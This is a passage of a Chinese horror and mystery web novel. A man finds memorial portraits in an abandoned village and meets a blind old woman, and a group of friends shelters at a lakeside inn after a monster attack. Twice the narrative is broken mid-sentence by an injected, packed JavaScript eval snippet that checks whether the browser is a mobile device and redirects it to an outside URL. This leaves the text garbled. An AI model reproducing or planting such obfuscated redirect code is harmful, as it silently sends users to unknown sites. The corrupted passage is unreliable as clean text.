结果刚走了两步,人就吓得定在了原地,感觉半边身子都僵了,寒凉的气息顺着脊背一路往上,瞳孔剧烈颤动,忍不住惊呼出声。 “我擦!我擦!!!什么鬼!!” 顺着他的视线看去,木门倾倒,尘土散去,现出了室内的光景,正对着大门口放着一张方桌,上头立着两张黑白遗照,一男一女,看起来都很年轻,遗照两边放着没燃完的蜡烛,前头还摆放着早已看不清内容物的祭品,桌上积了厚厚一层灰,唯独两张照片格外清晰,像是刚放置不久,看起来煞是诡异。 按说一个大老爷们天不怕地不怕的,更不会怕这种玩意儿,但也许是根植在血脉中的中式恐怖基因作祟,一看到这些就容易不由自主地发散联想,什么怪力乱神的念头都冒了出来。 董利伟站的角度刚好跟照片上的一男一女对上了视线,他不知怎的就觉得照片上的两人笑得有点诡异,看一眼就要失掉阳气,可能也是心理作用,又觉得有点头晕犯迷糊。 本来就吓了一跳,这下心里更是有些发毛,心想着刚来这个鬼地方就看到了遗照,不吉不吉啊! 他赶忙移开视线,往前快走了几步,想离遗像远一点,俗话说眼不见心不烦,看不见最好。 再往前,路两旁都是些破破烂烂的房子,只是大门都是关着的,他心里突然生出一个可怕的猜想:不会每座空房子里都放着遗照吧? 这个猜想生出的瞬间,他又想到之前那群老头儿提到过这个村子老是死人,似乎又让他的猜想又可信了几分。 不会吧…… 想着想着,他头皮都跟着发了麻,心里虽然有些发怵,但男人那该死的好奇心根本忍不住,就想验证一下,于是俯身下去又捡了几颗松果捏在手里,瞅准一间房的木门,用力掷出一颗。 咚一声响,木门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319324|199037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应声倒地,烟尘腾起的瞬间,董利伟瞅见厅堂内熟悉的场景,灰尘、方桌、遗照、蜡烛…… 我擦!!不是吧…… 董利伟呼吸一滞,一颗心突突地都快跳出来了,又快走几步,换了一间房子,又重新掷了一颗,松果咚一声,快准狠地砸向木门,门倒下去,又重现了同样的光景。 所以,这里所有的房子都祭奠着死人? 一想到这里,董利伟整个人都麻了,他咽了咽口水骂道:“妈的,太特么邪乎了,这特么死了多少人啊?不会是被灭村了吧?” 说着,下意识加快脚步往前,心里想着风水学是有点东西,这地方有点邪性,得赶紧转一圈走人。 村子不大,约莫快走了十分钟,眼见房子和路都要到头了,就在这时,他发现一间屋子,对比其他,虽然外表看上去也很老旧,但这间屋子整体相对比较完好,房梁和屋顶的瓦片都是好的,窗户和门扇也都没坏。 董利伟站在大门几米远的位置,仔细打量着眼前的房子,直觉告诉他这房子有问题,但他又很忌讳,不敢靠近去看看,想到这,他又低下身去捡了颗松果,依葫芦画瓢,又往大门上扔去,这一次门没倒,反而发出沉闷的一声响,他不信邪,又扔了一次,结果门还是一动不动。 就在董利伟纠结要不要过去看看的时候,屋子里突然传来一阵脚步声,董利伟吓得心头一颤,感觉自己的后脖梗子瞬间都硬了,赶忙往后连退了好几步。 吱呀一声,木门打开,一个老妇人从门后头探出头来。 “谁?谁在那儿?” 老妇人的声音沙哑而苍老,像是被岁月的沙砾打磨过一般。 董利伟站在远处,吓得一动不敢动,紧闭嘴巴盯着那老妇人,那妇人长得有些怪异,面色惨白,像是许久没有见过太阳,面颊上的纹路纵横交错,一双凸出的眼睛看起来有些骇人,她的整个瞳仁都是黑色的,一点白的都看不到,所以远远看过去就像两个幽深黑洞,看着就觉得慎得慌。 “怎么不说话?到底是谁在那儿?” 见没有人回答,老妇人推开门走了出来,她眼睛似乎是瞎的,往外走的时候,手在身侧胡乱的摸着。 见还是没人回答,她情绪激动地出言恐吓:“别以为老婆子我看不见,我心跟明镜似的,是谁那那儿?再不说话,我就动手了!” 此话一处,董利伟这才注意到老妇人一只手里握着一把镰刀,刀刃寒光烁烁,很是锋利,老妇人说着扬手胡乱地往前挥了挥。 董利伟看看前方村子尽头处横亘着的山体,又看了看老妇人,他意识到她可能是这个村子里唯一的活人了,这也是他打听师傅下落的唯一机会了,于是咬咬牙,大着胆子出了声。 “您好,我来找人的!不好意思打扰了!” 老妇人一听到有外人的声音,顿时如临大敌,全身紧绷着,脸上现出提防抵触的神色,不断挥砍着手里的镰刀,厉声说:“你来这里干什么?赶紧走!赶紧走!!” “我来找人的。” 老妇人根本不听,只是不停催促让他赶紧走人。 董利伟只好站在原地,不说话了,老妇人折腾好一阵,终于累了,停下来扶着门框喘气,还不忘机警地探查四周,末了侧着耳朵听了听,似乎是想判断人走了没。 董利伟瞅准时机,赶忙说:“老人家,我不是坏人!” 老妇人一听到动静,立马条件反射摆出防卫姿势,就这么僵持了一会儿,似乎觉出对方没什么恶意,这才开口问:“你来干什么的?” “我来这里找人的。” 老妇人她听到董利伟这话像是觉得好笑:“来这里找人?年轻人,你是来找死人的吗?” 董利伟一时语塞,顿了顿,接着说:“不是,不知道您认不认识一个叫才让的人,他曾经在这里住过一阵。” “才让?” 老妇人听到这个名字身子陡然一僵,突然一个猛然抬头:“你找他干什么?” “我是他徒弟,很多年没见了,就听说他曾经住这里,想着来找找!” 老妇人语气冰冷:“别找了,他早死了!” 老妇人说着,嘴角扬起一抹诡异的笑容,但下一秒笑容就消失了,整个人呆愣愣地反复念叨着:“死了,都死了,全都死了……” 她说着说着,脸上露出悲伤而痛苦的表情,整个人的脊背瞬间就垮塌下去,像只突然泄气的气球,她颤颤巍巍地回身退回屋内,紧接着就伸手要关门,董利伟还想问一些事,见状赶忙奔过去,一把抵住门,说道:“老人家,我还想问问……” 话还没问出口,老妇人突然回头,一双没有焦点的眼睛就那么恶狠狠地瞪着他,就像两个黑洞洞的枪口,带着无尽的怨念和威慑,周身仿佛瞬间迸发出摄人的黑气,吓得董利伟浑身一震,下意识缩回了手。 门吱呀一声慢慢关上,趁着关门的一瞬间,董利伟从门缝中瞥见室内方桌上放着一张黑白的遗照,是个年轻的女人,正冲着他一脸甜笑。 ***** 董利伟回去的时候天色已经暗下来,这一趟差不多就是一无所获,他想来想去都觉得恼火,不光什么都没问到,车还被刮花了,纯纯浪费了时间又浪费了金钱。 路过丰收村的时候,他原本想进去买点水,再找那群老大爷聊一聊,结果开车绕着村子走了好几圈,也没发现一个人,连小商店也关了门,没办法,只能作罢。 出村的时候,不知怎么,他总觉得暗处有双眼睛在盯着他,打开车窗往后看,结果看来看去也没发现什么,心里有些怪怪的,不过他也没多想,只道是在那个鬼村子被吓着了,有点疑神疑鬼,于是又升起车窗,放了一首欢快的歌,一脚油门,车朝着来时的路狂飙出去。 快到抚仙湖的时候,天色彻底黑下来,这一路走下来都没遇到什么车,看来这位置极偏,没啥人气,结果唯一遇到的一辆破面包车还蹭了他的车,一想到这里,董利伟就来气,心想今天真是倒了血霉了,改天得去观音寺拜拜。 正想着呢,车子一转弯,车灯朝着前方刚打出去,就发现近处横着一辆车,董利伟眼疾手快,赶紧一脚刹车,轮胎剧烈摩擦地面,发出刺耳的声响,终于,车子在距离面包车不到一米的位置停了下来。还好他反应快,要不然就撞上了。 “谁特么发癫,大晚上把车横在路中间啊!!” 董利伟气得火冒三丈,但等他定睛一看,脸上渐渐露出疑惑的表情。 “这特么不是蹭了我车的那个面包车嘛,怎么在这儿?” 他又仔细瞅了瞅面包车,车头已经凹了进去,路旁边的一颗树上有明显撞击的痕迹,看样子应该是车撞树上了,出了交通事故,也不知道里头的人出来没有。 董利伟借着灯光想往面包车里看,但车窗贴了膜,啥也看不见,他索性降下车窗,伸出脑袋,扯着嗓子喊:“唉,里面还有人吗?” 他一连喊了好几遍,也没人回话,董利伟心里七上八下,虽然他不算一个热心的人,又跟这车主有些矛盾,但到底是一条人命,实在担心车里的人真的出事。 于是忙一骨碌下了车,朝面包车小跑着过去。 *** 23. 死人了 深夜的抚仙湖黑沉无尽。 湖畔的“在水一方”客栈正笼罩在波谲云诡的迷雾里,不得安宁。 吴沅几人刚刚经历了一场浩劫,着实被吓得不轻,在客栈大厅角落的沙发里排排坐好,一个个双眼呆滞,跟被收走了魂一样,完全没感受到劫后余生的喜悦,反而止不住地后怕——就差那么一点点,他们就要去见阎王了耶!说不定还会被怪物喝血啖肉,死无全尸…… 一想到这里,几人就心脏砰砰乱跳,身子跟着发抖。 这事儿已然超出了他们的认知极限,世界观在追赶逃离的过程中分崩离析,原来电影中龇牙咧嘴的怪物真的存在啊,而且还活生生的出现在他们眼前。 虽然眼下怪物被逮住了,但这样的怪物到底还有多少?会不会又一次卷土重来?还有那些身分不明的人,花姐,小豪,还有那些黑衣男人,看起来都不是简简单单的普通人,他们到底是什么人?在谋划着什么? 太多的疑问萦绕在脑海里,未知的恐惧像潮水奔涌而来,让几人生生成了惊弓之鸟,周围稍有响动就一惊一乍的。 小豪来来去去好几次,见他们一个个破衣烂衫、臭气熏天,想着提醒他们先回房洗一洗,结果刚一开口,几人就被吓得吱哇乱叫,原地蹦起,倒把一旁的小豪吓了一大跳,他看精神病一样看着几人,见他们一个个魂不守舍的样子,欲言又止地叹了一口气,心想着算了,随他们去吧,爱洗不洗,自己这头还忙着呢! 时间一分一秒过,夜里的气温渐渐降下来,突然一阵凉风从院子里吹来,吹得几人心尖尖上都冒了凉气,忍不住打起冷颤。 好巧不巧,墙上的挂钟突然整点报时,叮咚一声响,吓得几个人又是一哆嗦。 吴沅抬头看了看墙上的钟,已经凌晨十二点了,他心里的第一反应就是坚持就是胜利,再坚持四五个小时天就亮了,就安全了,到时候就立马收拾东西走人,这里是不能再待了,再待下去小命都要没了。 正想着,身边的小悦悦低声幽幽地开口,语气莫名有点阴气森森的。 “12点了啊……” 另外三人听得头皮发炸,齐刷刷转头看她,跟看鬼一样。小悦悦倒是不以为意,扭头冲着几人邪魅一笑,几人跟着头皮又是一紧,心道是这丫头不会是中邪了吧?于是一个个下意识后仰着身子,屁股也跟着微微挪移,想要尽量离小悦悦远点。 哪想到小悦悦下一秒就收了笑容,板起脸,一眼斜过去,嚷嚷道:“干嘛呢,干嘛呢,一个个屁股长疮啦?挨着本美女坐是你们福气,懂不懂?” 一听这说话的语气,几人这才像是感受到人间热乎劲儿,长舒了一口气,没错没错,这才是他们认识的那个小悦悦嘛! 起子一下子也活了,撇了撇嘴,一脸嫌弃:“还美女,我看你是鬼上身了还差不多!刚刚说话鬼里鬼气的,吓死个人,我鸡皮疙瘩都起来了!” 小悦悦回瞪了他一眼:“你是不是男的?就这两句就把你吓到了,胆子比针眼还小!刚才在院子里被吓哭的是不是你?!” 起子被噎的一时语塞,但他脑子转得快啊,赶忙把锅甩给大志:“我声明一下哈,在院子里被吓哭的可不是我啊,是大志!” 大志在一旁哼哼了两声,也懒得辩驳,很是淡然地说:“刚刚那种情况,我没吓到尿裤子就很不错了!你们知足吧!” 大志自我认识深刻,又足够坦诚,反倒搞得他们没话可说了。 也是多亏几人你来我往的斗嘴,原本滞重的氛围才得以缓解,大家都渐渐放松下来。 外头夜色正浓,院子里静悄悄的,这会儿连阵风都没有,只有昆虫在啁啾,夏夜眨眼间就恢复了安宁,好像根本无事发生,刚刚的一切只是一场超现实的幻梦而已,但倒伏的花草和客栈大门上硕大的豁口又在不断提醒他们,曾经在这里上演过一场生死逃亡。 一旁的吴沅神色凝重,一直闷着声没说话,小悦悦往他那边凑了凑,又拿胳膊肘杵了杵他,问道:“头儿,你怎么不说话?在想什么呢?” 吴沅表情稍缓,若有所思:“我就是在想,那个东西到底是什么?为什么就追着我们跑?” 逃命的时候没工夫细想,这会儿他前前后后,把整个故事都梳理了一遍,愈发觉得不对劲,那怪物分明目的明确,就只追他们,对花姐却视而不见,这说明怪物跟他们之间肯定有某种特定的联系。 吴沅很快就联想到了那间烂尾别墅的地下室。 还有一点,花姐曾说过,所有看过那东西的人最后都会沉尸湖底,但她却能准确说出那怪东西的特征,所以她是见过了?那她为什么还活着?如此自相矛盾的话,他当时怎么就没发现问题! 或者还有一种可能,她只是听别人说过?但如果只是听别人说的,她为什么能这么笃定,坚持让他们换到她的客栈里来? 再结合她在茶室里说的最后一句话——“那东西,终于来了!” 听那语气,她似乎等了那东西很久。 综上所述,他得出了一个结论:花姐根本就是有目的地把他们带过来,她知道他们去了怪物的领地,也知道怪物一定会伺机报复,所以她费尽心思把他们带回自己的客栈,目的就是为了引出那只怪物,而在她自己的地盘里能更好地掌控全局。 所以他们几人的作用就只是“诱饵”而已。也就是说,花姐早早就搭好了戏台,就等着他们几个人来登台唱戏。 想到这里,吴沅心中情绪复杂,一会儿满心愤慨,毕竟被被别人利用,差点给怪物打牙祭了!一会儿又觉着人家确实救了他们一命,应该感激,试想一下,他们要是留在别墅,怪物肯定也会找上门去,他们完全没有应对方法,最后的结果可能就是客死他乡,眼下至少在这里捡回了一条命。 罢了罢了,先不论这一层,眼下最紧要的事是处理怪物的问题,虽然那一只被抓住了,谁知道还有没有别的在暗处伺机而动,吴沅心里好几次冒出报警的念头,但随即就自我否定了,这地方他们人生地不熟,又是水下男人,又是怪物,如果报警可能会让局面更加复杂,他们现在在花姐的地头上,也不敢轻举妄动,安全起见,还是尽早离开的好。 大志听着吴沅的话,也陷入了思考,过了一会儿,像是想到了什么,突然一拍大腿:“哎哎哎,我想到了,那玩意儿是不是穿山甲啊?我记得穿山甲好像就是满身鳞片,舌头老长的!对对对,肯定是这玩意儿!” 起子竖起一根手指,郑重其事地摇了摇:“不对不对,我老看《动物世界》,穿山甲这玩意儿我在电视里见过,根本不长那样,人家没有牙,攻击性也没那么强,你再看看刚刚那玩意儿,跑起来快得跟闪电似的,龇牙咧嘴恨不得把我们几个生吞活剥了。” 小悦悦也觉得不像:“对对对,我在电视上也看过穿山甲,还挺可爱的,但刚刚那怪物看起来怪吓人,应该不是吧……” 大志不服气:“怎么就不是了,万一人家是变异了呢!或者是什么特殊品种,或者像那种美国大片里讲的,可能是什么神秘的组织搞生物实验,导致生物变异了呢,又或者……” 大志越说越离谱,小悦悦听不下去了,赶忙打断:“行了行了,咱们就别瞎猜了,管它是不是变异了呢?咱们早点撤了就是了!” “是啊,立马走人才是正经事,我巴不得现在就走!一秒都特么不想待了!什么抚仙湖,什么公费度假都见鬼去吧,我现在就想躺在我家里的床上安安心心睡一觉!”起子在旁附和。 这话大志倒是很赞同,这世界太大了,什么稀奇古怪的事都有,以前天天闷在办公室,羡慕周游天天在外跑,游历大江南北,能看到各地不同的人文风光,现在想来还是安安心心待在自己的一亩三分地更好,至少安全,不会有被怪物追赶丢失小命的风险。 想到这里,大志瞥了一眼墙上的挂钟,说道:“再忍一忍吧,还有四五个小时天就亮了,到时候咱们赶紧走!” 毕竟他们都知道,夜晚充满了危险,《动物世界》里不都说了,很多动物都在夜晚出动狩猎,说不定此刻在暗处就隐藏着一双双窥伺的眼睛,等到白天再走,才是明智之举。 “不过,我有一点没想明白,这群人都不怕我们报警吗?遇到了这种事情,他们也没威胁我们,也没有收我们的手机,他们就不怕我们报警把这件事捅出去?”小悦悦歪着脑袋,眉头紧蹙,一脸的想不明白。 这一问,倒是把大志和起子问住了。 事发到现在,对面那波人都没什么动作,这着实让人想不通,他们几个人凑在一起前前后后好一通分析,猜想对方不害怕的原因可能有三种,一是绝对的自信,对方已经做好了万全的准备,不害怕他们报警,即使他们报了警,对方也能完美应对;第二种很离谱,就是这些人压根没想到这一出;第三种就是对方吃准了他们多有顾忌,不会报警,所以根本不担心。 几人正分析得热火朝天,原本闷在一旁的吴沅突然长叹一口气,露出一脸懊悔的表情,紧接着仰天说道:“啊!!!刚刚那些素材没拍下来,好可惜!这要是拍下来,肯定会爆的,说不定还能上一上热搜呢!” 此话一出,大志、起子、小悦悦齐刷刷看向他,脸上露出一副不可思议的表情,心想老板这种生物,思维果然异于常人,这种命都快没了的时候,竟然还想着素材和工作,简直就不!是!人! 几人沉默了半晌,死死盯着吴沅,吴沅被盯得头皮发炸,浑身不自在,他看出几人眼神中的鄙视,尴尬地咳嗽了几声,打着哈哈说:“我开玩笑的,开玩笑!” 结果几人还冷着脸看他,一副“你觉得我们会信吗”的表情,吴沅尬笑着有些坐不住了,他摸着裤兜里的手机,灵机一动,假模假式清了清嗓子说:“嗯,我们这都要回去了,得赶紧給周游打个电话,说说我们这边的情况。” 虽说是为了转移话题,但吴沅确实也觉得该给周游打个电话了,这一天发生了太多意想不到的事,自己真是难以招架了,估计周游都想象不出他们到底经历了什么,不过那家伙胆子大、好奇心重,听了这边的事儿,说不定贼兴奋,不管不顾要过来看一看呢! 几人一听要给周游打电话,顿时忘了骂吴沅这事儿,都挤在一起猜测周游听到他们在这边的遭遇后会有什么样的反应。 “唉,你们说,要是游哥知道咱们在这边的经历,不得从床上兴奋地蹦起来啊?” “是啊,他胆子大,最爱这种吓人的玩意,他要知道肯定还会特后悔这趟自己没来!” “那肯定啊,这趟游哥没来太可惜了!搞得我们这趟视频视频没拍上,小命还差点不保!” “是啊,这要是游哥过来,还不得让那东西狠狠掉层皮,哪会轮到咱们被虐的这么惨啊!”起子说着看向吴沅。 大志和小悦悦狠狠点头,接着也一起哀怨地看向吴沅。 这话摆明了是说给吴沅听的,吴沅听在耳里,扎在心里,忍不住咬牙暗骂:哼!这群势利鬼,可真是会过河拆桥啊,当时玩得开心的时候,天天捧着人家,恨不得叫人家“小甜甜”,这会儿出事了就翻脸不认人了? 越想越气,连带着几人话语里提到的周游也受到了牵连,一边给周游打电话,一边忍不住腹诽:“这家伙哪有那么厉害,都是一样的人皮肉身,他还能刀枪不入、上天遁地不成?” 电话打过去了,等待音持续了很久,一直没人接,吴沅不死心,连着打了好几个,结果还是没人接。 “难道是睡了?不应该啊,这家伙什么时候这么早睡过?”吴沅看了一眼墙上的挂钟,盯着手机屏幕自言自语。 小悦悦见状,凑过来问:“游哥没接电话?” “嗯!算了,等天亮了再跟他说吧!” 吴沅话音刚落,院子外突然传来一阵异响,紧接着是一串急促的脚步声,几人顿时冰冻住一般,一动不敢动地竖起耳朵,满脸惊恐地望向大门口,生怕又有什么怪物找上门来。 两条人影快速穿过大门,院子里枝蔓遮挡,光线不太好,实在看不清,几个人的心瞬间提到了嗓子眼,心脏扑通扑通狂跳不止,屏息凝神盯着那一处看,影子往前挪一步,他们的心就跟着崩紧一分。 几秒后,两条影子终于在灯光下现出原形——原来是那个公主切美女和戴鸭舌帽的男人。 沙发上的几人这才松了一口气。 公主切美女走在前头,神情冷峻,鸭舌帽男人紧随其后,帽子遮住了大半张脸,看不清表情,两人快步往大厅这边走来,彼此之间没什么交流。 沙发上的四人目光一路追随,心里都琢磨着这两人怎么追出去这么久,这会儿才回来? 正想着呢,两人已经穿过院子,快步跨进大厅,周身带着一阵夜里的湿寒气息,两人目不斜视,路过四人时就跟没看见似的,径直往大厅后头走,大厅紧里头放着一长排木质雕花屏风,高度触及屋顶,看起来厚重扎实,两人直接拐到屏风后,就不见了踪影。 这屏风后是不是有另一处神秘的空间?用来关怪物?他们为什么要抓怪物?这些问题从吴沅的脑中一闪而过,他随即就掐灭了好奇的念头,俗话说好奇害死猫,不好奇就不会有危险。 但另外三个就不一样了,这会儿好奇心都快溢出来了,一个个伸长了脖子,想往屏风后头看,但屏风遮得严严实实,看来看去也只是徒劳。 三人契而不舍地伸着脖子,挣扎着想要窥探一二,忽听见屏风后头有人争执了几句,听声音像是小豪和那个鸭舌帽男人,这下更勾起了外面几人的好奇心,脖子伸得更长了。 刚开始,男人还压着声音,只能听见模糊的对话声,但说着说着,男人突然情绪激动,声音一下子高了八度:“为什么?” 像是平地一声惊雷,吓得外面伸脖子的几人一激灵,紧接着,男人带着怒气的脚步声从屏风后传来,似乎是往外走的,几人赶忙缩回了头,在沙发里正襟危坐。 下一秒,男人一脸不爽地走出来,周身都带着火气,脚还没跨出大门就从裤兜里掏出烟来,咔哒一声点燃,烟气迅速在空气中扩散。 几人盯着男人的背影走远,这才小声议论起来。 小悦悦嫌弃地扇了扇空气中飘散的烟味,问道:“这男的咋了?情绪这么不稳定?” 起子在一旁眯起眼睛,一副参透谜题的得意样儿:“明摆着人家不让他进去呗,所以只能灰溜溜的出来了!” 大志不解:“为啥不让他进去啊?他们不是一伙儿的吗?” 起子白了大志一眼:“你是不是傻?那男的之前不说了吗?从荆水来的,不是本地人,来了似乎也不是很久,能是一伙儿的?” 大志哪里还记得那男人之前说过什么,平白被起子呛声,又没办法回嘴,只能悻悻地哦了一声。 吴沅刚刚被这几人蛐蛐过,心里还憋着不爽,于是在旁撇了撇嘴,存心跟起子做对:“那也不一定吧,不是一个地儿的就不是一伙儿的?犯罪团伙还知道扩大事业版图呢,还不允许人家在外地组建分公司啊?再说了,我看那鸭舌帽挺敬业的,有事儿真往前冲啊,不像有些人……就知道吱哇乱叫……” 说着一脸嫌弃地看了起子一眼。 这话阴阳怪气,贴脸开大,就差直接把起子名字给报出来了,起子也非等闲之辈,这种情况哪里能忍,于是眼睛一瞪,冲着吴沅不满地“嘿”了一声,紧接着嘴巴大张,正准备加大火力输出,正好让吴沅见识见识他阴阳人的功力,忽见大志和小悦悦正满脸期待地望着他,一副就等着掐起来看好戏的表情,起子心里一惊,瞬间清醒,硬生生将后边的话咽了回去。 他狠狠瞪了瞪大志和小悦悦,心里暗暗庆幸还好自己及时打住,他这人啊有个大毛病,一激动就容易忘形,没上没下口无遮拦的,你说没事儿他跟boss斗什么气啊,这不是飞蛾扑火、自找麻烦么,再说了,老大是什么人他可太知道了,要说心大也是真大,但要说小也很小,老记仇了,嘴上被人占不了一点便宜,怎么样都得找补回来,刚刚就是最好的证明。这人就跟哈士奇似的,得顺毛捋,捋得他开心了,什么都听你的。 想到这里,起子再开口,言语却突然来了一个急转弯:“嘿~要不您是老大呢,看人看事儿就是准!” 说着,还笑嘻嘻地朝着吴沅竖起大拇指,一脸谄媚的模样。 吴沅虽然知道这话绝对不是发自真心,但也很受用,他做作地靠在沙发上,扬起下巴摆谱:“以后这种阿谀奉承的话大家要多点,我爱听!” 突然来上这一出,一旁的大志和小悦悦看傻了眼,两人缓了缓,才用看狗腿子的眼神看向起子。 起子死猪不怕开水烫,冲着他们扬起下巴,摆出一副“老子就狗腿了你们能怎么样”的姿态,嚣张地用口型问:“怎么了?怎么了?我就狗腿怎么了?” 小悦悦翻了他一眼,懒得再搭理他,反而转头看向吴沅,阴恻恻地说:“头儿,别忘了你还有黑照在我手上呢!做老板的,还是应该尽量收敛点!” 吴沅:“……” ****** 刁濯从后院花姐的屋子里出去的时候,大厅沙发里的几个人已经睡得东倒西歪不省人事了,她看了一眼墙上的挂钟,快凌晨三点了,再过一两个小时天就要亮了,但此时天还是浓黑如墨。 她快速穿过大厅,夜晚微凉的空气让她下意识缩紧了身体,径直往门外走,快走到大门口时,她先是闻到了烟味,紧接就看到门边暗处一闪一闪的小红点,随即停下脚步,顿了顿,十分无语地冲着暗处说:“出来吧!” 冷毅这才从暗处走出来,把烟头扔在脚边踩了踩。 刁濯冷嗖嗖地盯着他,眼中写满了厌烦,这个像狗皮膏药一样的男人,最近有事没事儿就缠着她,她也毫不掩饰对他的反感。 “干嘛,有事儿?”刁濯语气十分不好。 “天还没亮,我送你回去。”冷毅一本正经,柔着声音。 刁濯直接冷脸拒绝:“不用了,这条路我走了百八十回了,比你熟!” 这样被拒绝的场面,冷毅早已见怪不怪,腆着脸,笑嘻嘻地继续说:“刚刚还一起奋战斗怪物了,这会儿就把我抛到脑后了?你这不是卸磨杀驴嘛!再说了,我不是怕还会有怪物来偷袭嘛!我在不是更安全一点?” 刁濯冷笑着扫了他一眼,语气不屑:“就你?这么厉害也没见你跟那怪物大战三百回合,把人家生擒活捉啊?还不是让那东西跑了?我看你还是先顾好自己吧!别来云南一趟,冷家给你的任务没完成,还丢了一条小命!” 冷毅似乎觉得有趣,眯着眼睛看她的表情,末了扯了扯嘴角,低声感叹:“小嘴儿可真毒!” 说完,又贱嘻嘻地调侃:“哦?你怎么知道冷家给我安排了任务?平时对我冷言冷语的,没想到私底下还挺关心我的嘛!” 刁濯听不得这些鬼话,紧皱眉头,不耐烦地冲他吼:“滚!滚!滚!” 吼完,迈腿就要往外走,根本不想跟他多费力气。 冷毅不气不恼,抬起头来,眼睛隐在帽檐深处,下颌骨的硬朗曲线和嘴角的笑意却清晰可见,见刁濯要走,他赶忙伸手去拦。 这人是受虐狂吧,刁濯用一种看精神病的眼神看他,脚下的步子不停,十分嫌弃地绕开他的手,急匆匆就要往外走。 冷毅见状赶忙紧跟一步,立身挡在了刁濯面前,刁濯往左他就往左,刁濯往右他就往右,就像是一扇人形屏风,走哪儿挡哪儿,末了露出得意洋洋的表情,龇着牙看刁濯,十分欠揍。 刁濯被拦了去路,气极,狠狠瞪了冷毅一眼,用力一把推开他,这一下刚好推到胳膊上,冷毅吃痛,低声“嘶”了一声,整个身子都跟着弯了下去。 刁濯以为他故意装模作样,也不理睬,绕开他就往外走,结果走了两步觉着不对劲,又停下来回头看他,见他似乎疼得厉害,觉出了异样,忙问:“你怎么了?受伤了?” 说着又走回去,拽住冷毅的胳膊,撸起衣袖就要看,只见黝黑壮实的小臂上赫然有一条纤长的伤口,目测10厘米左右长,伤口呈暗红色,已经没有流血了,却异常的肿胀。 “没事儿,让那玩意儿挠了一下。” 冷毅没当回事,想要抽回手臂,刁濯却神色慌张,紧紧拽着他的胳膊不撒手,刁濯在抚仙湖待了这些年,虽然对那怪物知道的不算太多,但也知道是极厉害的东西,身上要是破皮了那可不得了。 于是,十分不安地盯着伤口,厉声说:“你受了伤怎么不说?那东西身上都不知道有没有病毒,你看伤口都肿了,不仔细处理搞不好你这条胳膊就废了!” 冷毅嘴里说着“哪有那么严重”,但见刁濯言语间都透露出对自己的担心,心里有些窃喜。 他看了看伤口,又看了看刁濯,故意叹了一口气:“唉,这大晚上的,你说我去哪里处理……” 说着,还不停拿小眼神偷偷看刁濯,一副可怜巴巴的样子。 刁濯一直盯着冷毅的伤口看,她总觉得那伤口怪怪的,到底哪里怪,又说不上来,末了,抬头看了一眼冷毅。 “跟我走!” 她说着撒开手,迈腿就往院子外走,冷毅则屁颠屁颠跟在后头,他们一前一后沿着村子里的青石板路一路往下,走到了刁濯开在巷弄里的小店门口。 小店门上挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刁濯弓腰下探,瞬间跟冷毅脸对脸,她微微勾唇一笑,接着瞬间变脸,瞪着眼,咬牙切齿地说:“少在我面前犯贱!否则沉尸抚仙湖就是你的归宿!” 说完用力松手,后退一步,冷毅重重的地倒在椅背上,他抬眼见刁濯脸上冷嗖嗖的,知道这回是真生气了,赶紧摆摆手投降:“好了好了,不犯贱了!以后都不犯贱了!” “手!”刁濯不耐烦地冲他吼。 冷毅赶紧听话地把胳膊抬起来,往她身前送了送,她把医药箱扔在工作台上,从里面拿出一瓶双氧水,又用脚从旁边踢过来一个垃圾桶,拧开双氧水对着冷毅的伤口就冲洗起来,水流碰到伤口,痛感强烈,冷毅不由自主地皱起眉头,咬紧牙关,但还是控制不住嘶叫出声。 刁濯一个冷眼横过去,冷毅立马就紧闭嘴巴不敢出一点声,只能暗中使劲,额头上的青筋都根根爆起,刁濯仍旧冷着一张脸吐槽:“这点疼都受不了?那谁让你逞强跟着去的!” 洗了一会儿,刁濯就发现不对劲,透过伤口的缝隙,她看到似乎有什么东西在肉里游走,顿时心中一惊,赶忙从医药箱里翻出镊子,轻轻用尖端撑开伤口,发现里面竟然有暗灰色的细丝一样的东西在肉里穿行,就像有人在里面操纵针线一般,看起来十分诡异。 这是什么东西? 刁濯心里一阵恐慌,手跟着不受控制的颤抖,镊子的尖端不小心刺到了伤口里的肉,疼得冷毅嘶叫了一声,下意识抽回了胳膊。 “你干嘛?” 冷毅护着胳膊,一脸不解地看向刁濯,只见刁濯脸色煞白,眸子剧烈颤动,一脸受惊过度的样子,冷毅渐渐看出了不对劲,有些不安地问:“怎么了?” 刁濯盯着伤口没说话,强制让自己镇定下来,末了咽了咽口水:“你忍着点疼,我帮你把伤口里面再处理下!” 冷毅直愣愣地盯着刁濯,又看了看她手里捏着的镊子,显然心有余悸,忙说:“不用了,我自己来!” 刚说完,刁濯就扑过来,不管不顾按住他的胳膊,用镊子撑开伤口,扬起双氧水就往伤口上倒,冷毅疼得龇牙咧嘴,五官都要挪位了,挣扎着就要站起身来,嘴里愤怒地嚷嚷:“刁濯,你要干什么?你这是要杀人吗?” 刁濯死命地按着冷毅,盯着伤口,神色狠厉,声音冰冷:“我这是在救你……” 接着她开始低声数数,一、二、三、四、五、六……当数到六时,她突然慌了,使劲地捏着冷毅的胳膊,声音发颤:“不行,咱们得去找花姐!” “怎么了?” 冷毅疼得浑身冒冷汗,突然看到刁濯眼中的恐惧,也慌了。 “走,咱们快点去找花姐!” 刁濯感觉灵魂都要出窍了,拽着冷毅就要往外走。 “到底怎么了?” 冷毅站在原地就是不肯走,不依不饶想要问出个所以然,见刁濯不说话,于是甩开她的手,着急忙慌从医药箱里翻出一个镊子,咬紧牙关,慢慢撑开手臂上的伤口。 这一看不得了,眼睛顿时瞪大,瞬间惊出了一身冷汗。 “这……这……是什么?” 